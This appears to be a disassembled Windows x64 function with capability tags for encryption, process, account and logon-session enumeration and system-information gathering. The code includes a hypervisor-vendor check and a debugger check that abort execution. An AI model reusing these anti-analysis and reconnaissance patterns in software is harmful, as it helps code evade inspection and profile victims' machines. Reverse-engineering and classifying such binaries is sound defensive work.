Function at 0x140001715
Capabilities:
Encode data using base64
Encrypt data using aes
Encrypt data using speck
Enumerate processes via ntquerysysteminformation
Get disk information
Get local ipv4 addresses
Get logon sessions
Get memory capacity
Get system information on windows
List groups for user account
List user accounts
Reference aes constants

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x818
movaps xmmword [rsp + 0x800], xmm9
movdqa xmmword [rsp + 0x7f0], xmm8
movdqa xmmword [rsp + 0x7e0], xmm7
movdqa xmmword [rsp + 0x7d0], xmm6
mov eax, 0x40000000
cpuid
mov eax, ebx
mov ebp, ecx
mov edi, edx
mov ebx, eax
mov ecx, 0xc
mov edx, 1
call fcn.1400016cd
mov rsi, rax
mov eax, ebx
mov ecx, ebx
mov byte [rsi], bl
mov byte [rsi + 1], bh
shr eax, 0x10
shr ecx, 0x18
mov edx, ebp
mov r8d, ebp
mov byte [rsi + 2], al
mov byte [rsi + 3], cl
mov byte [rsi + 4], bpl
mov eax, ebp
mov byte [rsi + 5], ah
shr edx, 0x10
shr r8d, 0x18
mov eax, edi
mov ecx, edi
mov byte [rsi + 6], dl
mov byte [rsi + 7], r8b
mov byte [rsi + 8], dil
mov edx, edi
mov byte [rsi + 9], dh
shr eax, 0x10
shr ecx, 0x18
mov byte [rsi + 0xa], al
mov byte [rsi + 0xb], cl
lea r8, str.Microsoft_Hv
mov edx, 0xc
mov rcx, rsi
call fcn.1400016b7
test al, al
je 0x1400017fc
lea r8, [0x14001e140]
mov edx, 0xc
mov rcx, rsi
call fcn.1400016b7
mov ebx, eax
mov edx, 0xc
mov rcx, rsi
call fcn.140005bda
test bl, bl
je 0x140001809
jmp 0x14000546a
mov edx, 0xc
mov rcx, rsi
call fcn.140005bda
mov eax, 0x60
mov rax, qword gs:[eax]
cmp byte [rax + 2], 1
je 0x14000546a
lea rax, [rsp + 0xd0]
mov qword [rax - 8], 1
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov eax, 1
xor edi, edi
lea rbx, [0x14001e157]
lea rsi, [rsp + 0xc8]
xor edx, edx
cmp rdi, 0x1d0
je 0x140001896
mov bpl, byte [rdi + rbx]
cmp rdx, qword [rsp + 0xd0]
jne 0x14000187a
mov rcx, rsi
call fcn.14000592c
mov rax, qword [rsp + 0xc8]
mov rdx, qword [rsp + 0xd8]
mov byte [rax + rdx], bpl
mov rdx, qword [rsp + 0xd8]
inc rdx
mov qword [rsp + 0xd8], rdx
inc rdi
jmp 0x14000184b
mov qword [rsp + 0x118], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x120], xmm0
call fcn.140014275
mov rsi, rax
mov r12, rdx
lea rdi, [rsp + 0x410]
mov edx, 0x158
mov r8d, 0x1f4
mov rcx, rdi
call fcn.1400133b4
movdqu xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movaps xmmword [rsp + 0x200], xmm1
movdqa xmmword [rsp + 0x1f0], xmm0
mov ecx, 9
call fcn.14000ba2c
mov r14, rax
mov r15, rdx
movabs rax, 0x5043206c61746f54
mov qword [r14], rax
mov byte [r14 + 8], 0x55
mov ecx, 8
mov edx, 0x120
call fcn.140005924
test rax, rax
je 0x140005461
mov rbx, rax
movabs rdi, 0x19db1ded53e8000
call fcn.140014275
mov qword [rsp + 0x70], rax
mov r13, rdx
call fcn.14000d9fb
shl rdx, 0x20
mov eax, eax
or rax, rdx
movabs rcx, 0xfe624e212ac18000
cmp rax, rdi
jge 0x140001961
xor ebp, ebp
jmp 0x140001989
add rax, rcx
xor edi, edi
mov ecx, 0x989680
xor edx, edx
div rcx
mov rbp, rax
call sub.KERNEL32.dll_GetTickCount64
mov ecx, 0x3e8
xor edx, edx
div rcx
sub rbp, rax
cmovb rbp, rdi
pxor xmm8, xmm8
movdqu xmmword [rsp + 0x510], xmm8
lea rdi, [rsp + 0x1f0]
movaps xmm0, xmmword [rdi]
movaps xmm1, xmmword [rdi + 0x10]
movups xmmword [rsp + 0x450], xmm0
movups xmmword [rsp + 0x460], xmm1
mov qword [rsp + 0x470], rsi
mov qword [rsp + 0x478], r12
movdqu xmmword [rsp + 0x4b0], xmm8
movdqu xmmword [rsp + 0x4c0], xmm8
mov qword [rsp + 0x520], r14
mov qword [rsp + 0x528], r15
mov qword [rsp + 0x530], 9
mov eax, 1
mov qword [rsp + 0x538], rax
movdqu xmmword [rsp + 0x540], xmm8
mov qword [rsp + 0x550], rax
and qword [rsp + 0x568], 0
movdqu xmmword [rsp + 0x558], xmm8
and qword [rsp + 0x580], 0
and dword [rsp + 0x588], 0
mov eax, 8
mov qword [rsp + 0x590], rax
movdqu xmmword [rsp + 0x598], xmm8
mov byte [rsp + 0x5a8], 0
mov qword [rsp + 0x4d8], rax
movdqu xmmword [rsp + 0x4e0], xmm8
mov qword [rsp + 0x4f0], rbx
mov qword [rsp + 0x4f8], 2
and qword [rsp + 0x500], 0
and qword [rsp + 0x410], 0
movdqu xmm6, xmmword [0x140020d50]
movdqu xmmword [rsp + 0x490], xmm6
movdqu xmm7, xmmword [0x140020d40]
movdqu xmmword [rsp + 0x480], xmm7
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x4a0], rcx
mov qword [rsp + 0x4a8], r13
mov qword [rsp + 0x4d0], rbp
mov qword [rsp + 0x508], rax
lea rsi, [rsp + 0x6d0]
movdqa xmmword [rsi], xmm8
movdqa xmmword [rsi + 0x30], xmm8
movdqa xmmword [rsi + 0x20], xmm8
movdqa xmmword [rsi + 0x10], xmm8
mov dword [rsi], 0x40
mov rcx, rsi
call sub.KERNEL32.dll_GlobalMemoryStatusEx
movdqu xmm0, xmmword [rsi + 8]
movdqu xmmword [rsp + 0x4b0], xmm0
movdqa xmmword [rdi + 0x50], xmm8
movdqa xmmword [rdi + 0x40], xmm8
movdqa xmmword [rdi + 0x30], xmm8
movdqa xmmword [rdi + 0x20], xmm8
movdqa xmmword [rdi + 0x10], xmm8
movdqa xmmword [rdi], xmm8
and qword [rdi + 0x60], 0
mov rcx, rdi
mov edx, 0x68
call sub.PSAPI.DLL_GetPerformanceInfo
cmp eax, 1
jne 0x140001bac
mov rdx, qword [rsp + 0x200]
mov r9, qword [rsp + 0x210]
xor r10d, r10d
sub rdx, r9
cmovb rdx, r10
mov rcx, qword [rsp + 0x240]
mov rax, rcx
mul rdx
mov r8, rax
mov r11, 0xffffffffffffffff
cmovo r8, r11
mov rdx, qword [rsp + 0x1f8]
sub rdx, r9
cmovb rdx, r10
mov rax, rcx
mul rdx
cmovo rax, r11
mov qword [rsp + 0x4c0], r8
mov qword [rsp + 0x4c8], rax
lea rax, [rsp + 0x520]
cmp qword [rax - 0x110], 0
je 0x140001cb8
mov rcx, qword [rsp + 0x440]
call sub.pdh.dll_PdhCollectQueryData
cmp qword [rsp + 0x568], 0
je 0x140001c00
lea rdx, [rsp + 0x568]
lea rcx, [rsp + 0x410]
call fcn.140015575
test eax, eax
je 0x140005461
movd dword [rsp + 0x588], xmm0
lea rcx, [rsp + 0x520]
mov dl, 1
call fcn.140015553
mov rsi, rax
mov rdi, rdx
add rsi, 0x48
lea rbx, [rsp + 0x410]
lea rax, [rsi - 0x48]
cmp rax, rdi
je 0x140001c4e
cmp qword [rsi], 0
je 0x140001c48
mov rcx, rbx
mov rdx, rsi
call fcn.140015575
test eax, eax
je 0x140005461
movd dword [rsi + 0x20], xmm0
add rsi, 0x70
jmp 0x140001c21
cmp byte [rsp + 0x5a8], 0
jne 0x140001f3f
mov rsi, qword [rsp + 0x5a0]
lea rdi, [rsp + 0x1f0]
mov rcx, rdi
mov rdx, rsi
call fcn.140014abc
mov rbx, qword [rsp + 0x590]
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
mov rax, qword [rdi + 0x10]
shl rax, 3
imul r8, rsi, 0x70
xor r9d, r9d
mov r10, rbx
test r8, r8
je 0x140001cd3
cmp rax, r9
je 0x140001cd3
mov r11, qword [rcx + r9]
mov qword [r10 + 0x60], r11
add r10, 0x70
add r9, 8
add r8, 0xffffffffffffff90
jmp 0x140001c98
lea r8, [rsp + 0x1f0]
and qword [r8], 0
xor ecx, ecx
xor edx, edx
call sub.pdh.dll_PdhOpenQueryA
test eax, eax
je 0x140001cea
jmp 0x140001d0e
call fcn.140012894
test rsi, rsi
je 0x140001f2d
mov rax, qword [rbx + 0x60]
jmp 0x140001f2f
mov rdi, qword [rsp + 0x1f0]
call fcn.140014275
lea rcx, [0x140020d30]
mov qword [rsp + 0x6d0], rcx
lea rsi, [rsp + 0x380]
and qword [rsi], 0
mov rcx, qword [rsp + 0x6d0]
mov qword [rsp + 0x410], rcx
and qword [rsp + 0x428], 0
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x418], xmm0
mov qword [rsp + 0x430], rax
mov qword [rsp + 0x438], rdx
mov qword [rsp + 0x440], rdi
mov rax, qword [rsp + 0x380]
mov qword [rsp + 0x448], rax
test rcx, rcx
je 0x140001f3f
mov ecx, 0x23
call fcn.14000ba2c
movups xmm0, xmmword [0x140020f53]
movups xmmword [rax], xmm0
movdqu xmm0, xmmword [0x140020f63]
movdqu xmmword [rax + 0x10], xmm0
mov dword [rax + 0x1f], 0x656d6954
lea rsi, [rsp + 0x6d0]
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0x23
lea r14, [rsp + 0x568]
mov ecx, 5
call fcn.14000ba2c
mov dword [rax], 0x5f746f74
mov byte [rax + 4], 0x30
lea r9, [rsp + 0x1f0]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 5
lea rdx, [rsp + 0x410]
mov rcx, rsi
mov r8, r14
call fcn.14001521e
lea rcx, [rsp + 0x520]
mov dl, 1
call fcn.140015553
mov r14, rax
mov qword [rsp + 0x78], rdx
xor eax, eax
mov qword [rsp + 0x70], rax
mov edi, 2
mov r12d, 1
cmp r14, qword [rsp + 0x78]
je 0x140001f1c
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x170], rax
inc rax
mov qword [rsp + 0x70], rax
lea rax, [0x140020f98]
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], rdi
and qword [rsp + 0x210], 0
lea r15, [rsp + 0x170]
mov qword [rsp + 0x130], r15
lea rsi, [0x1400068f7]
mov qword [rsp + 0x138], rsi
lea rbp, [rsp + 0x130]
mov qword [rsp + 0x200], rbp
mov qword [rsp + 0x208], r12
lea r13, [rsp + 0x380]
mov rcx, r13
lea rbx, [rsp + 0x1f0]
mov rdx, rbx
call fcn.14000e73a
lea rax, [0x140020fc0]
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], rdi
and qword [rsp + 0x210], 0
mov qword [rsp + 0x130], r15
mov qword [rsp + 0x138], rsi
mov qword [rsp + 0x200], rbp
mov qword [rsp + 0x208], r12
lea r15, [rsp + 0x6d0]
mov rcx, r15
mov rdx, rbx
call fcn.14000e73a
lea r8, [r14 + 0x48]
mov rcx, r13
lea rdx, [rsp + 0x410]
mov r9, r15
call fcn.14001521e
add r14, 0x70
jmp 0x140001e17
cmp qword [rsp + 0x410], 0
jne 0x140001bc2
jmp 0x140001f3f
xor eax, eax
mov qword [rsp + 0x580], rax
mov byte [rsp + 0x5a8], 1
lea rsi, [rsp + 0x6d0]
mov rcx, rsi
call fcn.140014ce7
cmp dword [rsi], 2
je 0x140002189
mov rax, qword [rsp + 0x700]
lea rdx, [rsp + 0x1f0]
mov qword [rdx + 0x30], rax
movdqu xmm0, xmmword [rsp + 0x6d0]
movups xmm1, xmmword [rsp + 0x6e0]
movups xmm2, xmmword [rsp + 0x6f0]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
lea rsi, [rsp + 0x380]
mov rcx, rsi
call fcn.140014d13
cmp qword [rsi], 2
je 0x140002189
mov rax, qword [rsp + 0x3b0]
lea rdx, [rsp + 0x1f0]
mov qword [rdx + 0x30], rax
movdqu xmm0, xmmword [rsp + 0x380]
movups xmm1, xmmword [rsp + 0x390]
movups xmm2, xmmword [rsp + 0x3a0]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
lea rsi, [rsp + 0x130]
mov rcx, rsi
call fcn.140014d8d
cmp qword [rsi], 2
je 0x140002189
mov rax, qword [rsp + 0x160]
lea rdx, [rsp + 0x1f0]
mov qword [rdx + 0x30], rax
movdqu xmm0, xmmword [rsp + 0x130]
movups xmm1, xmmword [rsp + 0x140]
movups xmm2, xmmword [rsp + 0x150]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
lea rsi, [rsp + 0x170]
mov rcx, rsi
call fcn.140014e23
cmp qword [rsi], 2
je 0x140002189
mov rax, qword [rsp + 0x1a0]
lea rdx, [rsp + 0x1f0]
mov qword [rdx + 0x30], rax
movdqu xmm0, xmmword [rsp + 0x170]
movups xmm1, xmmword [rsp + 0x180]
movups xmm2, xmmword [rsp + 0x190]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
lea rsi, [rsp + 0x340]
mov rcx, rsi
call fcn.140014eed
cmp qword [rsi], 2
je 0x140002189
mov rax, qword [rsp + 0x370]
lea rdx, [rsp + 0x1f0]
mov qword [rdx + 0x30], rax
movdqu xmm0, xmmword [rsp + 0x340]
movups xmm1, xmmword [rsp + 0x350]
movups xmm2, xmmword [rsp + 0x360]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
lea rsi, [rsp + 0x698]
mov rcx, rsi
call fcn.140014f6a
mov rax, qword [rsi]
cmp rax, 2
je 0x140002189
movups xmm0, xmmword [rsp + 0x6a0]
movups xmm1, xmmword [rsp + 0x6b0]
movups xmm2, xmmword [rsp + 0x6c0]
lea rsi, [rsp + 0x660]
movups xmmword [rsi + 0x28], xmm2
movups xmmword [rsi + 0x18], xmm1
movups xmmword [rsi + 8], xmm0
mov qword [rsi], rax
lea rdi, [rsp + 0x380]
mov rcx, rdi
mov rdx, rsi
mov r8b, 1
call fcn.140015049
mov rax, qword [rsi + 0x30]
mov qword [rsp + 0x220], rax
movdqu xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmm2, xmmword [rsi + 0x20]
movaps xmmword [rsp + 0x210], xmm2
movaps xmmword [rsp + 0x200], xmm1
movdqa xmmword [rsp + 0x1f0], xmm0
mov ebp, dword [rdi + 4]
cmp ebp, 2
jne 0x14000536e
lea rcx, [rsp + 0x1f0]
call fcn.140012d3d
mov esi, 8
xor edi, edi
mov rcx, qword [rsp + 0x4d8]
mov rdx, qword [rsp + 0x4e8]
call fcn.140012cff
mov rcx, qword [rsp + 0x4d8]
mov rdx, qword [rsp + 0x4e0]
call fcn.140012e69
mov qword [rsp + 0x4d8], rsi
mov qword [rsp + 0x4e0], rdi
mov qword [rsp + 0x4e8], rdi
lea rcx, [rsp + 0x130]
and qword [rcx], 0
call sub.IPHLPAPI.DLL_GetIfTable2
test eax, eax
jne 0x140002ffa
lea r8, [rsp + 0x4a0]
mov rax, qword [r8 - 0x20]
mov rcx, qword [r8 - 0x18]
add rcx, rax
inc rcx
movdqa xmm0, xmmword [rax]
pmovmskb edx, xmm0
not edx
mov r8, qword [r8 - 8]
lea rsi, [rsp + 0x1f0]
mov qword [rsi], rax
add rax, 0x10
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rcx
mov word [rsi + 0x18], dx
mov qword [rsi + 0x20], r8
mov rcx, rsi
call fcn.140012f8c
test rax, rax
je 0x140002241
mov byte [rdx + 0x6e], 0
jmp 0x14000222e
call fcn.140014275
lea rcx, [rsp + 0x210]
movdqa xmmword [rcx - 0x20], xmm7
movdqa xmmword [rcx - 0x10], xmm6
mov qword [rcx], rax
mov qword [rcx + 8], rdx
lea rax, [rsp + 0x380]
mov qword [rax], 8
pxor xmm0, xmm0
movdqu xmmword [rax + 8], xmm0
mov r13, qword [rsp + 0x130]
mov r8d, dword [r13]
add r13, 8
lea r15, [rsp + 0x6d0]
pcmpeqd xmm6, xmm6
xor r10d, r10d
mov qword [rsp + 0xa8], r13
mov qword [rsp + 0x80], r8
cmp r10, r8
je 0x14000259e
mov rdi, r10
inc r10
imul rbx, rdi, 0x548
cmp qword [r13 + rbx + 0x4a8], 0
jne 0x1400022d2
cmp qword [r13 + rbx + 0x4b0], 0
je 0x1400022a6
cmp dword [r13 + rbx + 0x48c], 2
je 0x1400022a6
cmp dword [r13 + rbx + 0x420], 0
je 0x1400022a6
mov qword [rsp + 0x78], r10
mov ecx, 0x14
mov edx, 2
call fcn.14000ea16
mov rsi, rax
mov eax, dword [r13 + rbx + 0x10]
movzx ecx, byte [r13 + rbx + 0x14]
movzx edx, byte [r13 + rbx + 0x15]
movzx r8d, byte [r13 + rbx + 0x16]
movzx r9d, byte [r13 + rbx + 0x17]
movzx r10d, byte [r13 + rbx + 0x18]
movzx r11d, byte [r13 + rbx + 0x19]
movzx ebp, byte [r13 + rbx + 0x1a]
movzx ebx, byte [r13 + rbx + 0x1b]
mov dword [rsi], eax
mov word [rsi + 4], cx
mov word [rsi + 6], dx
mov word [rsi + 8], r8w
mov word [rsi + 0xa], r9w
mov word [rsi + 0xc], r10w
mov word [rsi + 0xe], r11w
mov word [rsi + 0x10], bp
mov word [rsi + 0x12], bx
mov ecx, 0xa
xor edx, edx
call fcn.14000b31f
mov r14, rax
mov qword [rsp + 0x90], rdx
movups xmm0, xmmword [rsi]
movups xmmword [rax], xmm0
mov eax, dword [rsi + 0x10]
mov dword [r14 + 0x10], eax
mov rcx, qword [rsp + 0x210]
mov rdx, qword [rsp + 0x218]
mov r9d, 0xa
mov r8, r14
call fcn.1400128ab
mov rbx, qword [rsp + 0x1f0]
mov r13, qword [rsp + 0x1f8]
mov r12, r13
and r12, rax
mov qword [rsp + 0xa0], rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor eax, eax
mov qword [rsp + 0x70], rax
movdqu xmm8, xmmword [rbx + r12]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm7
pmovmskb eax, xmm0
mov word [rsp + 0x6d0], ax
mov rcx, r15
call fcn.14000f208
test rax, rax
je 0x14000242b
add rdx, r12
and rdx, r13
shl rdx, 5
mov rbp, rbx
sub rbp, rdx
mov rcx, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x10]
mov r9d, 0xa
mov r8, r14
call fcn.1400129d7
test al, al
je 0x1400023f2
jmp 0x140002457
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
jne 0x140002506
mov rax, qword [rsp + 0x70]
add r12, rax
add r12, 0x10
add rax, 0x10
mov qword [rsp + 0x70], rax
and r12, r13
jmp 0x1400023d7
mov rcx, r14
mov rdx, qword [rsp + 0x90]
call fcn.14000bae0
mov eax, dword [rbp - 8]
inc eax
mov dword [rbp - 8], eax
cmp eax, 1
mov r13, qword [rsp + 0xa8]
jle 0x14000249b
mov edx, 0xa
mov rcx, rsi
call fcn.14000bae0
mov r8, qword [rsp + 0x80]
mov r10, qword [rsp + 0x78]
jmp 0x1400022a6
mov rdx, qword [rsp + 0x390]
cmp rdx, qword [rsp + 0x388]
jne 0x1400024c2
lea rcx, [rsp + 0x380]
call fcn.140012c5c
mov rdx, qword [rsp + 0x390]
mov r8, qword [rsp + 0x80]
mov r10, qword [rsp + 0x78]
mov rax, qword [rsp + 0x380]
mov rcx, rdx
shl rcx, 5
mov dword [rax + rcx], edi
mov qword [rax + rcx + 8], rsi
mov r9d, 0xa
mov qword [rax + rcx + 0x10], r9
mov qword [rax + rcx + 0x18], r9
inc rdx
mov qword [rsp + 0x390], rdx
jmp 0x1400022a6
cmp qword [rsp + 0x200], 0
je 0x140002574
mov rcx, rbx
mov rdx, r13
mov r8, qword [rsp + 0xa0]
call fcn.140012fac
mov rcx, qword [rsp + 0x1f0]
shl rax, 5
mov rbp, rcx
and dl, 1
neg dl
movsx rdx, dl
add qword [rsp + 0x200], rdx
sub rbp, rax
neg rax
mov qword [rcx + rax - 0x20], r14
mov rax, qword [rsp + 0x90]
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], 0xa
and dword [rbp - 8], 0
inc qword [rsp + 0x208]
jmp 0x140002467
lea rcx, [rsp + 0x1f0]
lea rdx, [rsp + 0x210]
call fcn.1400134d9
mov rbx, qword [rsp + 0x1f0]
mov r13, qword [rsp + 0x1f8]
jmp 0x140002511
mov rax, qword [rsp + 0x380]
mov rcx, qword [rsp + 0x388]
mov qword [rsp + 0x100], rcx
mov rdi, qword [rsp + 0x390]
shl rdi, 5
add rdi, rax
lea rbp, [rsp + 0x6d0]
pcmpeqd xmm6, xmm6
mov qword [rsp + 0xf8], rax
mov rbx, rax
mov qword [rsp + 0xa0], rdi
mov rsi, rbx
cmp rbx, rdi
je 0x140002b57
lea rbx, [rsi + 0x20]
mov r15, qword [rsi + 8]
test r15, r15
je 0x140002b54
mov r12, qword [rsi + 0x10]
mov edx, dword [rsi]
cmp qword [rsp + 0x208], 0
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], r12
je 0x140002723
mov qword [rsp + 0x80], rdx
mov rsi, qword [rsi + 0x18]
mov rcx, qword [rsp + 0x210]
mov rdx, qword [rsp + 0x218]
mov r8, r15
mov r9, rsi
call fcn.1400128ab
mov rbx, qword [rsp + 0x1f0]
mov rdi, qword [rsp + 0x1f8]
mov r12, rdi
and r12, rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor eax, eax
mov qword [rsp + 0x90], rax
movdqu xmm8, xmmword [rbx + r12]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm7
pmovmskb eax, xmm0
mov word [rsp + 0x6d0], ax
mov rcx, rbp
call fcn.14000f208
test rax, rax
je 0x1400026ce
add rdx, r12
and rdx, rdi
shl rdx, 5
mov r14, rbx
sub r14, rdx
mov r8, qword [r14 - 0x20]
mov r9, qword [r14 - 0x10]
mov rcx, r15
mov rdx, rsi
call fcn.1400129d7
test al, al
je 0x140002698
jmp 0x140002703
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
jne 0x14000299b
mov rax, qword [rsp + 0x90]
add r12, rax
add r12, 0x10
add rax, 0x10
mov qword [rsp + 0x90], rax
and r12, rdi
jmp 0x14000267d
add r14, 0xffffffffffffffe0
mov rdi, qword [rsp + 0xa0]
mov rbx, qword [rsp + 0x70]
mov r12, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x80]
jmp 0x140002726
xor r14d, r14d
lea rax, [r14 + 0x18]
test r14, r14
lea rcx, [0x140020ed0]
cmove rax, rcx
cmp dword [rax], 1
jg 0x14000298b
imul r14, rdx, 0x548
lea rax, [r14 + r13]
lea rdx, [r14 + r13]
add rdx, 0x1c
xor r8d, r8d
mov qword [rsp + 0xb8], rax
cmp r8, 0x101
je 0x140002775
cmp word [rdx + r8*2], 0
je 0x14000277d
inc r8
jmp 0x14000275f
mov r8d, 0x101
jmp 0x14000278a
cmp r8, 0x102
jae 0x140005461
mov rcx, rbp
call fcn.140005dac
mov rsi, qword [rsp + 0x6d0]
test rsi, rsi
je 0x14000298b
mov qword [rsp + 0x80], r14
mov rax, qword [rsp + 0x6d8]
mov qword [rsp + 0xc0], rax
mov r14, qword [rsp + 0x6e0]
mov rcx, qword [rsp + 0x4a0]
mov rdx, qword [rsp + 0x4a8]
mov r8, rsi
mov r9, r14
call fcn.140012941
mov r12, qword [rsp + 0x480]
mov rbx, qword [rsp + 0x488]
mov rdi, rbx
and rdi, rax
mov qword [rsp + 0x108], rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor eax, eax
mov qword [rsp + 0x90], rax
movdqu xmm8, xmmword [r12 + rdi]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm7
pmovmskb eax, xmm0
mov word [rsp + 0x6d0], ax
mov rcx, rbp
call fcn.14000f208
test rax, rax
je 0x140002872
add rdx, rdi
and rdx, rbx
neg rdx
imul r13, rdx, 0x88
mov rcx, qword [r12 + r13 - 0x88]
mov rdx, qword [r12 + r13 - 0x78]
mov r8, rsi
mov r9, r14
call fcn.140006a9c
test al, al
je 0x140002837
jmp 0x1400028a7
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
jne 0x1400029a3
mov rax, qword [rsp + 0x90]
add rdi, rax
add rdi, 0x10
add rax, 0x10
mov qword [rsp + 0x90], rax
and rdi, rbx
jmp 0x14000281c
add r12, r13
mov rax, qword [r12 - 0x68]
mov rcx, qword [r12 - 0x58]
mov qword [r12 - 0x60], rax
mov r13, qword [rsp + 0xa8]
mov rdx, qword [rsp + 0x80]
mov rax, qword [r13 + rdx + 0x500]
mov qword [r12 - 0x68], rax
mov qword [r12 - 0x50], rcx
mov rax, qword [r13 + rdx + 0x4b8]
mov qword [r12 - 0x58], rax
mov rax, qword [r12 - 0x48]
mov qword [r12 - 0x40], rax
mov rax, qword [r13 + rdx + 0x4c0]
add rax, qword [r13 + rdx + 0x4c8]
mov rcx, 0xffffffffffffffff
cmovb rax, rcx
mov qword [r12 - 0x48], rax
mov rax, qword [r12 - 0x38]
mov qword [r12 - 0x30], rax
mov rax, qword [r13 + rdx + 0x508]
add rax, qword [r13 + rdx + 0x510]
cmovb rax, rcx
mov qword [r12 - 0x38], rax
mov rax, qword [r12 - 0x28]
mov qword [r12 - 0x20], rax
mov rax, qword [r13 + rdx + 0x4d8]
mov qword [r12 - 0x28], rax
mov rax, qword [r12 - 0x18]
mov qword [r12 - 0x10], rax
mov rax, qword [r13 + rdx + 0x520]
mov qword [r12 - 0x18], rax
mov byte [r12 - 2], 1
mov rcx, rsi
mov rdx, qword [rsp + 0xc0]
call fcn.140005bda
mov rdi, qword [rsp + 0xa0]
mov rbx, qword [rsp + 0x70]
mov r12, qword [rsp + 0x78]
mov rcx, r15
mov rdx, r12
call fcn.14000bae0
jmp 0x1400025e4
xor r14d, r14d
jmp 0x140002707
cmp qword [rsp + 0x490], 0
je 0x140002b2a
mov r13, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0x80]
mov rdx, qword [r13 + rcx + 0x4c0]
add rdx, qword [r13 + rcx + 0x4c8]
mov rax, qword [r13 + rcx + 0x4b8]
mov qword [rsp + 0x90], rax
mov rax, 0xffffffffffffffff
cmovb rdx, rax
mov qword [rsp + 0xf0], rdx
mov rdi, qword [r13 + rcx + 0x508]
add rdi, qword [r13 + rcx + 0x510]
cmovb rdi, rax
mov rax, qword [rsp + 0xb8]
mov rax, qword [rax]
mov qword [rsp + 0xe8], rax
mov rax, qword [r13 + rcx + 0x500]
mov qword [rsp + 0xe0], rax
mov rax, qword [r13 + rcx + 0x4d8]
mov qword [rsp + 0xb8], rax
mov rax, qword [r13 + rcx + 0x520]
mov qword [rsp + 0x80], rax
mov rcx, r12
mov rdx, rbx
mov r8, qword [rsp + 0x108]
call fcn.140012fac
mov rcx, qword [rsp + 0x480]
neg rax
and dl, 1
neg dl
movsx rdx, dl
add qword [rsp + 0x490], rdx
imul rax, rax, 0x88
mov qword [rcx + rax - 0x88], rsi
mov rdx, qword [rsp + 0xc0]
mov qword [rcx + rax - 0x80], rdx
mov qword [rcx + rax - 0x78], r14
mov rdx, qword [rsp + 0xe8]
mov qword [rcx + rax - 0x70], rdx
mov rdx, qword [rsp + 0xe0]
mov qword [rcx + rax - 0x68], rdx
mov qword [rcx + rax - 0x60], rdx
mov rdx, qword [rsp + 0x90]
mov qword [rcx + rax - 0x58], rdx
mov qword [rcx + rax - 0x50], rdx
mov rdx, qword [rsp + 0xf0]
mov qword [rcx + rax - 0x48], rdx
mov qword [rcx + rax - 0x40], rdx
mov qword [rcx + rax - 0x38], rdi
mov qword [rcx + rax - 0x30], rdi
mov rdx, qword [rsp + 0xb8]
mov qword [rcx + rax - 0x28], rdx
mov qword [rcx + rax - 0x20], rdx
mov rdx, qword [rsp + 0x80]
mov qword [rcx + rax - 0x18], rdx
mov qword [rcx + rax - 0x10], rdx
and dword [rcx + rax - 8], 0
and word [rcx + rax - 4], 0
mov byte [rcx + rax - 2], 1
inc qword [rsp + 0x498]
jmp 0x140002979
lea rcx, [rsp + 0x480]
lea rdx, [rsp + 0x4a0]
call fcn.140013065
mov r12, qword [rsp + 0x480]
mov rbx, qword [rsp + 0x488]
jmp 0x1400029b2
mov rsi, rbx
sub rdi, rsi
shr rdi, 5
add rsi, 0x10
lea r14, [rsp + 0x480]
sub rdi, 1
jb 0x140002b82
mov rcx, qword [rsi - 8]
mov rdx, qword [rsi]
call fcn.14000bae0
add rsi, 0x20
jmp 0x140002b6a
mov r8, qword [rsp + 0x100]
test r8, r8
je 0x140002ba5
shl r8, 5
mov edx, 8
mov rcx, qword [rsp + 0xf8]
call fcn.140008017
mov rcx, qword [rsp + 0x130]
call sub.IPHLPAPI.DLL_FreeMibTable
mov rdx, qword [rsp + 0x1f8]
test rdx, rdx
je 0x140002cad
mov rcx, qword [rsp + 0x1f0]
mov rax, qword [rsp + 0x208]
test rax, rax
je 0x140002ca2
add rdx, rcx
inc rdx
movdqa xmm0, xmmword [rcx]
pmovmskb r8d, xmm0
not r8d
lea rsi, [rsp + 0x6e8]
mov qword [rsi - 0x18], rcx
add rcx, 0x10
mov qword [rsi - 0x10], rcx
mov qword [rsi - 8], rdx
mov word [rsi], r8w
